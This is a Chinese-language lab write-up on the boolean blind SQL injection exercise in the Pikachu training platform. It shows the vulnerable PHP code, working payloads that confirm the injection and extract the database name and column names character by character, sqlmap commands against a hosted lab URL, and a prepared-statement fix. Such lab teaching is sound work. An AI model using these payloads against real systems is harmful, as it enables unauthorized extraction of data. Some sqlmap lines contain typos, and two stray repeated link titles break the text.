这是Pikachu平台中字符型SQL注入(含布尔判断特征) 的典型场景,存在明显的SQL注入漏洞,且特别适合布尔盲注测试,具体分析如下:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
1. 漏洞核心特征
代码逻辑是:
- 接收用户输入的
name
参数(无任何过滤) - 直接拼接到SQL查询:
select id,email from member where username='$name'
- 关键判断:仅当查询结果刚好有1条记录时,显示
your uid:xxx
;否则显示不存在
这种“非此即彼”的返回逻辑,正是布尔盲注的典型环境——可以通过构造条件判断语句,根据页面返回“存在”或“不存在”来推断信息。
2. 布尔盲注利用思路
由于只有两种返回状态(成功/失败),无法直接获取数据,需通过条件判断逐步猜解信息:
(1)验证注入点
1' and 1=1#
- 拼接后SQL:
select ... where username='1' and 1=1#'
- 若页面显示
your uid
(存在),说明条件为真
1' and 1=2#
- 若页面显示
不存在
,说明条件为假,确认存在布尔盲注漏洞。
(2)猜解数据库名(以长度为例)
1' and length(database())=7#
- 若返回
your uid
,说明当前数据库名长度为7(Pikachu默认库名是pikachu
,长度7)。
(3)逐字符猜解数据库名
1' and ascii(substr(database(),1,1))=112#
substr(database(),1,1)
取数据库名第1个字符ascii()
转换为ASCII码(112对应p
)- 若返回
your uid
,说明第1个字符是p
,以此类推猜解完整名称。
正确解法是pikachu基于boolian的盲注详解 - Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程
(4)猜解表名、字段名、数据
方法类似,例如猜解member
表的字段:
1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='member' limit 0,1)=105#
-
105对应
i
,即第1个字段可能是id
。
正确解法是pikachu基于boolian的盲注详解 - Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程
3. 为什么适合布尔盲注?
- 无错误回显:
mysqli_query
不显示具体错误,无法用联合查询直接获取数据 - 结果唯一判断:
mysqli_num_rows($result)==1
只返回“存在1条”或“不存在”两种状态 - 闭合简单:字符型单引号闭合,容易构造条件语句
4. 修复建议
-
改用参数化查询(预处理语句),彻底杜绝注入:
$stmt = mysqli_prepare($link, "select id,email from member where username=?"); mysqli_stmt_bind_param($stmt, 's', $name); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt);
- 限制输入格式:只允许字母、数字等合法字符,过滤单引号等特殊符号。
这种场景下,手动盲注效率较低,实际测试中可结合Burp Suite的爆破功能或编写脚本自动化猜解。
sqlmap方法
获取数据库用户名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.php?name=test&submit=查询" --dbs --batch
获取数据库表名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_blind_b.phpp?name=test&submit=查询" --D 数据库用户名 --tables --batch